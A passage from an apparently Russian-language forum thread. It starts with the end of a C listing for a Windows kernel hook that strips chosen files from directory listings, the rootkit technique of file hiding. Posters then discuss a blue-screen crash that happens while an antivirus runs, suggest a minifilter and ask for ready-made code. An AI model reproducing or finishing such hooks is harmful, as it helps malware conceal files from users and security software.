132.                             LastFileBothDirectoryInfo->NextEntryOffset += FileBothDirectoryInfo->NextEntryOffset;
133.                             WasHidden = TRUE;
134.                         }
135.                         else
136.                             LastFileBothDirectoryInfo->NextEntryOffset = 0;
137.                     }
138.                 }
139.                 break;
140.             }
141.             case FileNamesInformation :
142.             {
143.                 FileNamesInfo = (PFILE_NAMES_INFORMATION)FileInformation;
144.                 while(IsFileHidden(FileNamesInfo->FileName, FileNamesInfo->FileNameLength))
145.                 {
146.                     if(FileNamesInfo->NextEntryOffset != 0)
147.                     {
148.                         if(((PFILE_NAMES_INFORMATION)((ULONG)FileNamesInfo + FileNamesInfo->NextEntryOffset))->NextEntryOffset != 0)
149.                             ((PFILE_NAMES_INFORMATION)((ULONG)FileNamesInfo + FileNamesInfo->NextEntryOffset))->NextEntryOffset += FileNamesInfo->NextEntryOffset;
150.                         RtlCopyMemory(FileNamesInfo,
151.                                      (PVOID)((ULONG)FileNamesInfo + FileNamesInfo->NextEntryOffset),
152.                                      sizeof(PFILE_NAMES_INFORMATION) + ((PFILE_NAMES_INFORMATION)((ULONG)FileNamesInfo + FileNamesInfo->NextEntryOffset))->FileNameLength - 2);
153.                     }
154.                     else
155.                         return STATUS_NO_MORE_FILES;
156.                 }
157.                 while(FileNamesInfo->NextEntryOffset > 0)
158.                 {
159.                     if(!WasHidden)
160.                         LastFileNamesInfo = FileNamesInfo;
161.                     WasHidden = FALSE;
162.                     FileNamesInfo = (PFILE_NAMES_INFORMATION)((ULONG)FileNamesInfo + FileNamesInfo->NextEntryOffset);
163.                     if(IsFileHidden(FileNamesInfo->FileName, FileNamesInfo->FileNameLength))
164.                     {
165.                         if(FileNamesInfo->NextEntryOffset > 0)
166.                         {
167.                             LastFileNamesInfo->NextEntryOffset += FileNamesInfo->NextEntryOffset;
168.                             WasHidden = TRUE;
169.                         }
170.                         else
171.                             LastFileNamesInfo->NextEntryOffset = 0;
172.                     }
173.                 }
174.             }
175.         }
176.     }
177.     return Result;
178. }

 

Когда запущен антивирус выдаёт синий экран с ошибкой PAGE_FAULT_IN_NONPAGED_AREA
МОжет быть, когда объявляем структуры, в каждом случае для них выделять неподкачиваемую память?

 

извиняюсь за оффтп.
мне кажется лучше минифильтр написать, в 10 раз проще и они специально для таких целей сделаны.

 

А где есть как мини фильтры писать. Или может у кого есть готовый? ПОделитесь пожалуйста)))